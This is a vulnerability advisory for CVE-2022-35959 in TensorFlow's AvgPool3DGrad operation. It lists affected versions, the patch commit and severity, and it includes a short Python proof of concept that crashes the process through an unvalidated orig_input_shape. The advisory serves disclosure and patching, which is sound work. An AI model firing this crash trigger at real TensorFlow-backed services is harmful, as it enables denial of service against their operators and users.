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TensorFlow vulnerable to `CHECK` failures in `AvgPool3DGrad`

TensorFlow

CVE-2022-35959 · Published Sep 16, 2022 · updated Jul 13, 2026

Medium5.9
Fix: upgrade to 2.7.2 or later (3 fixed versions below)
GitHub advisory

Impact

The implementation of AvgPool3DGradOp does not fully validate the input orig_input_shape. This results in an overflow that results in a CHECK failure which can be used to trigger a denial of service attack:

```python

import tensorflow as tf

ksize = [1, 1, 1, 1, 1]

strides = [1, 1, 1, 1, 1]

padding = "SAME"

data_format = "NDHWC"

orig_input_shape = tf.constant(1879048192, shape=[5], dtype=tf.int32)

grad = tf.constant(1, shape=[1,3,2,4,2], dtype=tf.float32)

tf.raw_ops.AvgPool3DGrad(orig_input_shape=orig_input_shape, grad=grad, ksize=ksize, strides=strides, padding=padding, data_format=data_format)

`

Patches

We have patched the issue in GitHub commit [9178ac9d6389bdc54638ab913ea0e419234d14eb](https://github.com/tensorflow/tensorflow/commit/9178ac9d6389bdc54638ab913ea0e419234d14eb).

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.

Affected versions

PackageAffectedFixed in
tensorflow
PyPI
< 2.7.22.7.2
>= 2.8.0, < 2.8.12.8.1
>= 2.9.0, < 2.9.12.9.1
Details and references
CVSS 3.1
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Severity from
GitHub (reviewed advisory)
Weakness
CWE-617
Also known as
BIT-tensorflow-2022-35959, CVE-2022-35959, PYSEC-2026-1046, PYSEC-2026-3257, PYSEC-2026-3380

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